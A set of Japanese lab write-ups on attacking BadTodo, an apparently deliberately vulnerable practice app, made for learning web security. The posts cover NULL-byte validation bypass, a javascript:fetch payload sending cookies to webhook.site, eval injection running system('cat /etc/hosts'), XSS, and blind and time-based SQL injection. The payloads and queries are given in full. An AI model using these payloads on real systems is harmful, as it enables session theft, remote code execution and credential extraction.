やられアプリ BadTodo - 26.4 NULLバイト攻撃(POSTリクエストの場合)

前回:やられアプリ BadTodo - 25.3 NULLバイト攻撃(+XSS) - demandosigno

前回までに挙げたNULLバイト攻撃の3つの例はどれもGETリクエストに対するものでした。
続けて、POSTリクエストに対して試してみようとした際に疑問点が残ったためメモしておきます。

eregi() で試します(正規表現によるマッチングを行う関数)

まず GET の場合

eregi_get.php

<?php
$id = $_GET['id'];
var_dump($id);
var_dump(eregi("^[a-z]{4}$", $id)); // a-zの4文字であるか否か。マッチしたら「1」を返す

これに対し
GET /eregi_get.php?id=hoge は
結果:string(4) "hoge" int(1) となります。

一方、
GET /eregi_get.php?id=hogex とすると5文字ですのでFalseです。
結果:string(5) "hogex" bool(false)

GET と NULLバイト(%00)の場合

GET /eregi_get.php?id=hoge%00x
結果:string(6) "hogex" int(1)
var_dumpで NULLバイトは表面上見えないものの1文字分カウントはされており計6文字となっていますが、eregi("^[a-z]{4}$", $id) の結果は「1」が返されています。NULLバイト以降が無視されており想定通りの動きです。

続けて、POSTフォームの場合。

eregi_post.html

<html>
<form action="eregi_get3.php" method="post" enctype="multipart/form-data">
    <input type="text" name="id1" value="hoge" size="30">
    <input type="text" name="id2" value="hoge\0x" size="30">
    <input type="text" name="id3" value="hoge\x00x" size="30">
    <input type="text" name="id4" value="hoge%00x" size="30">
    <input type="text" name="id5" value="hoge&#x5c0x" size="30">
    <input type="text" name="id6" value="hoge&#x0x" size="30">
    <input type="submit" value="送信">
</form>
</html>

リクエストを受ける側 ereg_get3.php

<?php
var_dump("hoge\0x"); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge\0x")); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge\x00x")); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge%00x")); // 確認用
echo ("<br>");
var_dump($_POST['id1']);
$post1 = $_POST['id1'];
var_dump(eregi("^[a-z]{4}$", $post1));
echo ("<br>");
var_dump($_POST['id2']);
var_dump(eregi("^[a-z]{4}$", $_POST['id2']));
echo ("<br>");
var_dump($_POST['id3']);
var_dump(eregi("^[a-z]{4}$", $_POST['id3']));
echo ("<br>");
var_dump($_POST['id4']);
var_dump(eregi("^[a-z]{4}$", $_POST['id4']));
echo ("<br>");
var_dump($_POST['id5']);
var_dump(eregi("^[a-z]{4}$", $_POST['id5']));
echo ("<br>");
var_dump($_POST['id6']);
var_dump(eregi("^[a-z]{4}$", $_POST['id6']));

結果
NULLバイトを差し込んでみた場所はすべて False で希望通りには働きませんでした。

一時しのぎ

結局、直打ちで(またはGETのパターンから)取得した「レスポンス内のNULLバイトをリクエストにコピペ」する形で動作させることはできました。もっと良い方法があるとは思うのですが。

先ほどのレスポンスの該当部分にカーソルを置き左右に動かしてみてください。そこに何かあることが分かります。
このリクエスト・レスポンスの色を変えておくか、Repeaterや Organizerに送るなどして覚えておきます。

BadTodoの場合

Todo List 詳細画面のURL登録部分で、バリデーションチェックを回避できます。

editdone.php の該当部分を抜粋します。eregi が使われています。

<?php
if (!empty($url) && !eregi("^[a-z]+:[-a-z0-9:/?=#!&%+~;.,*@()'[-_]*$", $url)) {
  $errmsg[] = 'URLが不正です';
}

正規表現部分は「先頭に何かアルファベットがあって、コロンがあって、またアルファベットや記号が続く」となっており、最小限だとa:aなどで登録できます。
また記号の"やバッククォート`<> {}などはマッチしないため「URLが不正です」となり登録できません。

ここでNULLバイトが使えます。
入力例をa:a"`<>{}として、送信する際にBurpでインターセプトします。

そして、先ほど残しておいたレスポンスのstring(6) "hogex"部分の e と x の間からNULLバイトを選択してコピーします。 POSTリクエストに戻りリクエストボディパラメータa:a"`<>{}"の前にNULLバイトをペーストします。そしてインターセプト解除。

変更がエラーなく通ります。(「正規の画面からアクセスしてください」となった場合は再度間を開けずやり直してみてください)
Todo詳細に戻ると登録できていることが分かります。

編集画面で見てみるとNULLバイトは「?」となっています。

これを使って何か悪さができそうです。が、単純な<script>タグや"は元々エスケープ処理されています。

幾つか試す

以前 BadTodo - 4.10 XSS URL属性値に対して で試したように、URL欄で javascriptスキームが使えます。
そして https://webhook.site/ というサイトを使うと、一意のランダムな URL と電子メール アドレスを簡易に取得できます。
よってjavascript:fetch('https://webhook.site/a00 ~(中略)~ 758'+document.cookie)のようにURL欄に登録することでCookieを収集できます。

URLをクリックした後で webhook.site を確認すると

POSTの場合(これはURL欄からではなく別途送信した一例)

単に収集するだけでなく色々な機能があって、一部のハッカーも使っているらしく便利なサイトです。

そして今回`{ }が使えるようになったのなら、テンプレート文字列やfetchのPOSTも使えるのではないかと試してみました。しかし、双方とも間のNULLバイトがシンタックスエラーとなり失敗しました。
javascript:fetch(`https://webhook.site/a009 ~(中略)~ 758?${document.cookie}`)

javascript:fetch('https://webhook.site/a009 ~(中略)~ 758',{method:'POST',body:document.cookie})

その他の方法を探してみます。

RequestBin webhook.siteと同様にwebhookやHTTPリクエストのテストに使えるサイト。
mess with dns 同じくDNSリクエストの受信などができる。

次回:やられアプリ BadTodo - 26 TOCTOU競合 - demandosigno

やられアプリ BadTodo - 23 evalインジェクション

前回:やられアプリ BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション - demandosigno

幾つかのプログラミング言語は eval(イーバル)という機能や関数を持っています。
eval には複数のコードを解釈し実行する機能がありますが、evalの利用法に問題がある場合、外部から送り込んだスクリプトを実行される危険があります。
(PHPの場合『注意: これは、関数ではなく 言語構造のため、可変関数や名前付き引数を用いてコールすることはできません』とのことです。) PHP: eval - Manual

まずBadTodoでの例を示します。

一覧ページからエクスポートボタンをクリックすることでTodoをエクスポートすることができます。

その時に次のリクエストが流れます。
GET https://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29

BurpのDecoderで「URLデコード」をかけるとデータベースクエリに関する配列であることがわかります。この配列そのものに問題はありません。

次に; phpinfo()という文字列を「URLエンコード」したもの%3b%20%70%68%70%69%6e%66%6f%28%29を先ほどのGETリクエストの後ろにくっつけます。
そうするとhttps://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29%3b%20%70%68%70%69%6e%66%6f%28%29となります。 このアドレスをブラウザで見てみると phpinfo が閲覧できてしまいます。(ログインは不要です)

PHPのコード phpinfo() が実行できたわけです。そのため; system("cat /etc/hosts")のようにしてOSコマンドの実行も可能になります。(PHP 開始タグを含めてはいけません) %3b%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29をくっつけてhttps://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29%3b%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29

入力値に問題があるため他のエラーも吐いています。

evalインジェクションはソースコードが確認できないと見つけるのが難しい脆弱性ですが、今回の場合はパラメータに誤った文字列を入れればエラー文内に eval() と出ますのでヒントになりそうです。

徳丸本 第2版 p343では evalインジェクションの例としてBase64エンコードのパターンが掲載されています。詳細な説明とシンプルな例で分かりやすいので一読を。

最近でも「日本医師会のサイトにて、eval()を使っていたため JavaScriptのコードが実行できた」という例がありました。
togetter.com

その他の影響例として、
・サイト改ざん
・他サイトへの踏み台
などがあります。

対策

・eval に相当する機能を使わない
今回の例であれば
・implod/explode
・json_encode/json_decode
などで、eval相当の機能を使わなくても同等の処理が実装可能です。

色々記述が不足しているので後日追記予定。

次回:やられアプリ BadTodo - 24 適切でないアップロートファイル制限 - demandosigno

やられアプリ BadTodo - 4.7 XSS Todo詳細ページ

前回:やられアプリ BadTodo - 4.6 XSS パスワード変更ページ - demandosigno

Todoの題名をクリックすると開くTodoの詳細画面のリクエスト
https://todo.example.jp/todo.php?rnd=6639eec0ed1b2&item=2の item パラメータにXSSがあります。

itemに'><script>alert(1)</script>を付加。
https://todo.example.jp/todo.php?rnd=6639eec0ed1b2&item=2%27%3E%3Cscript%3Ealert(1)%3C/script%3E

レスポンス内、「添付ファイル」の「削除ボタンフォーム」位置に出力されます。

そのため添付ファイルの無いTodoでは機能しません。

次回:やられアプリ BadTodo - 4.7 XSS 対策方法(エスケープ処理) - demandosigno

やられアプリ BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習

前回:やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法 - demandosigno

これまでのSQLインジェクションは、UNION SELECT 演算子を使って既に存在する表に追記させたり、SLQエラー文の出力を利用して情報を得たりしました。
しかし、結果を出力する場所がなかったり、エラーメッセージが表示される場合でもカスタムされたエラーページでテンプレート文が表示されるだけの場合は使えません。

そこで第3の方法としてブラインドSQLインジェクションがあります。ブラインドSQLインジェクションには Boolean-BasedTime-Based がありますが、まずは Boolean-Based SQLインジェクションについて。
SQL文の問い合わせに対する回答が「真か偽か」の2択を確認することで結果を推測していく方法です。

練習

BadTodoで実際に試す前に、DBにログインし直接データベースの中身を確認しながら流れを理解していくことにします。

badtodo-dbコンテナの端末を開き、MariaDBにログインします。

root@badtodo-db:/# mysql -u root -pwasbook
Welcome to the MariaDB monitor.  Commands end with ; or \g.

ユーザーに関する一通りのデータを見てみます。

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| todo               |
+--------------------+
 
MariaDB [(none)]> use todo
Database changed
 
MariaDB [todo]> show tables;
+----------------+
| Tables_in_todo |
+----------------+
| session        |
| todos          |
| users          |
+----------------+
 
MariaDB [todo]> select * from users;
+----+---------+--------+--------------------+--------------------------+-------+
| id | userid  | pwd    | email              | icon                     | super |
+----+---------+--------+--------------------+--------------------------+-------+
|  1 | admin   | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+---------+--------+--------------------+--------------------------+-------+

単純なWHERE文を書いてみる(視認性を上げるため予約語は大文字にしました)

SELECT * FROM users WHERE userid = 'wasbook';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

少し条件を加えます

SELECT * FROM users WHERE userid='wasbook' AND 1 = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

付け加えた1 = 1TRUE ですから結果変わらず表示されます。
これ以降のすべての例は、この部分が TRUE になるか? FALSE になるか?という観点で見ていきます。

では続けて、サブクエリ(副問い合わせ)(SELECT文で表示した結果を別の SELECT文で使う)がサポートされているか確認します。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.2.11 サブクエリー

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

サポートされていました。
userid='wasbook' は触れないため TRUE
(これをANDで繋ぎ、検索結果が表示されたということは(SELECT 1) = 1部分も TRUE
(つまり(SELECT 1)が有効)

それでは次に、hoge というテーブルが存在すると推測してSQL文を作ってみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM hoge LIMIT 0,1) = 1;
(hoge テーブルから先頭 1行を取り出す)
 
ERROR 1146 (42S02): Table 'todo.hoge' doesn't exist

エラー「Table 'todo.hoge' doesn't exist」。つまり hoge テーブルはありません。

ではテーブル名を users と推測してみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

結果が返って来たということは(SELECT 1 FROM users LIMIT 0,1) = 1部分がTRUEです。これにより users テーブルが存在することが判明します。

続けて、カラム名を推測します。
まず password というカラム名が存在すると仮定して

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, password), 1 ,1) FROM users LIMIT 0,1) = 1;
(users テーブルから、定数 1 に user の名前を連結した文字列の 1 文字目から 1 つ取り出す)
( = 先頭文字が 1 )(1 = 1TRUE)(カラム名 password が存在しない場合 NULLFALSE)
 
ERROR 1054 (42S22): Unknown column 'password' in 'field list'

エラーです。

ではカラム名 pwd で試してみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, pwd), 1 ,1) FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

pwd というカラムが存在することが分かります。

次に userid というカラム名を試します。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, userid), 1, 1) FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

userid カラムも存在する。
つまり、users テーブルに、pwd, userid カラムが存在することが分かります。

そろそろぱっと見ではよくわからなくなってきますが、クエリを分解したものを後述しますので参考にしてください。

探索

とはいえ文字列を当てることは難しいです。ですので探す方法があります。

users テーブルの中の userid カラムに存在するユーザー名の探索を行ってみます。

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 109;

 1. FROM users LIMIT 0,1 ⇒ users テーブルの先頭1レコード分から)
 2. SELECT CONCAT(userid, 0x3a, pwd) ⇒ userid と pwd を 0x3a=: で区切って連結する  
 3. SUBSTRING(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
 4. ASCII(str) > 109 ⇒ ASCIIコードが 109(小文字の m) より大きい場合 "真" とする  

Empty set (0.000 sec)

結果表が返されないため(偽)、ユーザー名の第1文字はASCIIコードの 109(これは m)以下の値であることが分かる。

ASCIIコード(10進数)におけるアルファベットの範囲は次の通り。
・小文字の 'a' から 'z' までの範囲: 97 から 122
・大文字の 'A' から 'Z' までの範囲: 65 から 90
97-122 の中央値は (97+122)/2 = 109(端数切捨)
(プログラム上では"最小置 + (最大置 - 最小置) / 2"とした方が安全)

次は109以下であるから同様に (97 + 109) / 2 = 103

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 103;
Empty set (0.000 sec)
偽 char(103) は「g」のため
例:SELECT char(103);
+-----------+
| char(103) |
+-----------+
| g         |
+-----------+
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 100;
Empty set (0.000 sec)
偽 char(100) は「d」

と、基本的には二分探索で探していく(ある程度絞れたら線形探索に)

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 96;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
真 char(96) は「`」

最終的に

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 97;
Empty set (0.000 sec)
偽 char(97)は「a」

よって、1文字目は「a」。ちなみに実データは "admin"。

SELECT userid, pwd FROM users;
+-----------+--------+
| userid    | pwd    |
+-----------+--------+
| admin     | passwd |
| wasbook   | wasboo |
+-----------+--------+

同様に、2文字目以降を探っていく

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,1)) > 99;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
真 char(99) は「c」
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,1)) > 100;
Empty set (0.000 sec)
偽 char(100) は「d」

よって、2文字目は「d」。 同様に、3、4、5文字目と解いていくと「a」「d」「m」「i」「n」6文字目で CONCAT で付けた「: コロン 16進 0x3a 10進58」 となるので終了。

(後日)実際にBadTodoの方で試します。
(後日)手動で全部行うのは無理があるため、スクリプトを作ったりBurpのIntruderを使ったりします。
(後日)Time-Based ブライドSQLインジェクション

Boolean-Based ブラインドSQLインジェクションは基本的にWHERE句に対して使います(SELECT, UPDATE, DELETE)。
WHERE句ではない場合(INSERT INTO)、時間遅延(sleep()など)を使った Time-Based ブラインドSQLインジェクションが試せる場合があります。

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012 | 徳丸浩の日記
Time-based SQL Injectionは意外に実用的だった | 徳丸浩の日記

BadTodoでは各リクエストの Cookie: TODOSESSID にSQLインジェクションがありそうです。
'付加で 500 Internal Server Error となりますが「致命的エラー:セッション管理でエラー発生」という一文のみ出力されます。 Cookie値に' (select*from(select(sleep(5)))a)を付加しCookie: TODOSESSID=9c1428bae485da4704b0a28725dfe282'%2b(select*from(select(sleep(5)))a)#などとすることで5秒の遅延が発生します。

補足

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
CONCAT(str1,str2,...)
引数を連結することで生成される文字列を返します。1 つ以上の引数を持つ場合があります。すべての引数が非バイナリ文字列の場合は、結果も非バイナリ文字列になります。
引数にバイナリ文字列が含まれる場合は、結果はバイナリ文字列になります。数値の引数は、同等の非バイナリ文字列形式に変換されます。
引数のいずれかかが NULL である場合、CONCAT() は NULL を返します。

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)
len 引数を付けない形式では、位置 pos で始まる文字列 str からの部分文字列が返されます。
len 引数を付けた形式では、位置 pos で始まる文字列 str からの部分文字列 len 文字長が返されます。
FROM を使用する形式は、標準の SQL 構文です。 また、pos に負の値を使用することもできます。 その場合、部分文字列の先頭は文字列の先頭でなく、文字列の末尾からの pos 文字になります。 この関数のどの形式でも、pos で負の値を使用できます。pos の値が 0 の場合、空の文字列が返されます。
 
すべての形式の SUBSTRING() で、部分文字列の抽出が開始される文字列内の最初の文字の位置が 1 とみなされます。

mysql> SELECT SUBSTRING('Quadratically',5);
        -> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
        -> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
        -> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
        -> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
        -> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
        -> 'ki'
この関数はマルチバイトセーフです。len が 1 よりも小さい場合は、結果が空の文字列になります。

ASCII(str)
文字列 str の左端の文字の数値(ASCIIコード)を返します。str が空の文字列である場合は、0 を返します。str が NULL である場合は NULL を返します。ASCII() は、8 ビット文字の場合に動作します。

mysql> SELECT ASCII('2');
        -> 50
mysql> SELECT ASCII(2);
        -> 50
mysql> SELECT ASCII('dx');
        -> 100
ORD() 関数も参照してください。

ASCII - Wikipedia

これより下は私自身の確認のために色々試してみた結果をメモしているだけなのでざっと流して次の項目に進んでください。
やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

補足2。クエリの例

MariaDB [todo]> SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 109;
 1. FROM users LIMIT 0,1 ⇒ users テーブルの先頭1レコード分から)
 2. SELECT CONCAT(userid, 0x3a, pwd) ⇒ userid と pwd を 0x3a=: で区切って連結する  
 3. SUBSTRING(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
 4. ASCII(str) > 109 ⇒ ASCIIコードが 109(小文字の m) より大きい場合 "真" とする  
について色々試す。
 
>, < ではなく = で比較(文字列"admin:passwd"1文字目が "a"=ASCII(97)か)
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) = 97;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

ASCIIではなく文字として比較
SELECT * FROM users WHERE userid = 'wasbook' AND SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)='a';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+ 
 
CONCAT, LIMITを除いた場合
SELECT * FROM users WHERE userid = 'wasbook' AND SUBSTRING((SELECT pwd FROM users WHERE userid = 'wasbook'),1,1)='w';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
 
CONCATの動作確認
SELECT CONCAT(userid, 0x3a, pwd) FROM users;
+---------------------------+
| CONCAT(userid, 0x3a, pwd) |
+---------------------------+
| admin:passwd              |
| wasbook:wasboo            |
+---------------------------+
LIMITの動作確認(1レコード目(0)から1件取得(1))
SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1;
+---------------------------+
| CONCAT(userid, 0x3a, pwd) |
+---------------------------+
| admin:passwd              |
+---------------------------+
 
SUBSTRINGの動作確認(文字列"admin:passwd"の2文字目から3文字分の文字列を返す)
SELECT SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,3);
+------------------------------------------------------------------------+
| SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,3) |
+------------------------------------------------------------------------+
| dmi                                                                    |
+------------------------------------------------------------------------+

ASCIIの動作確認("admin:passwd"の1文字目="a"のASCIIコードを返す)
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1));
+-------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) |
+-------------------------------------------------------------------------------+
|                                                                            97 |
+-------------------------------------------------------------------------------+
SELECT ASCII('a');
+------------+
| ASCII('a') |
+------------+
|         97 |
+------------+
 
真偽値。TRUE(1) or FALSE(0)
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) = 97;
+----------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1))=97 |
+----------------------------------------------------------------------------------+
|                                                                                1 |
+----------------------------------------------------------------------------------+

補足3。SELECT 1 とは

Oracle SELECT(*)とSELECT(1)の違いについて | プログラミング勉強備忘録
COUNT文の構文でCOUNT(1)は、カラムの1番目を取得して件数を取得する記述方法と思っていました。
ですのでNULL値を含まない件数が取得できると思っていましたが違うようです。
1は定数を指定しているので必ずNULL以外になります。
1を指定した場合のCOUNT(expr)は、式が常に1になるため、レコード数が常にカウントされます。
ですので結論COUNT(*)と同じ件数が取得できます。

SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
SELECT * FROM users;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT 1 FROM users;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
SELECT count(*) FROM users;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
SELECT count(*) FROM users WHERE (SELECT 1)=1;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
SELECT distinct count(userid) FROM users; (distinct: 重複行を除外)
+---------------+
| count(userid) |
+---------------+
|             2|
+---------------+
SELECT 1 FROM users LIMIT 0,1;
+---+
| 1 |
+---+
| 1 |
+---+

SELECT * FROM users WHERE id='1';
+----+--------+--------+-----------------+--------------+-------+
| id | userid | pwd    | email           | icon         | super |
+----+--------+--------+-----------------+--------------+-------+
|  1 | admin  | passwd | root@example.jp | ockeghem.png |     1 |
+----+--------+--------+-----------------+--------------+-------+
SELECT * FROM users WHERE (SELECT 1)=1;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT * FROM users WHERE (SELECT 1 FROM users LIMIT 0,1)=1;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1)=1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users)=1;
ERROR 1242 (21000): Subquery returns more than 1 row
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users LIMIT 0,1)=1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

: コロンが 160x3a 1058 となるか
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),6,1));
+-------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),6,1)) |
+-------------------------------------------------------------------------------+
|                                                                            58 |
+-------------------------------------------------------------------------------+

BadTodoに入力する際の例(後日試す用)

検索BOX
FALSE test' AND (SELECT SUBSTRING(CONCAT(1,hogeid,1,1) FROM users LIMIT 0,1)=1-- 
TRUE  test' AND (SELECT SUBSTRING(CONCAT(1,userid),1,1) FROM users LIMIT 0,1)=1-- 
FALSE test' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 97-- 
TRUE  test' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 96-- 
FALSE https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%201%20from%20user%20limit%200,1)=1--+ 
TRUE  https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%201%20from%20users%20limit%200,1)=1--+
FALSE https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%20substring(concat(1,user),1,1)%20from%20users%20limit%200,1)=1--+
TRUE  https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%20substring(concat(1,userid),1,1)%20from%20users%20limit%200,1)=1--+

やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

やられアプリ BadTodo - 29 キャッシュからの情報漏洩

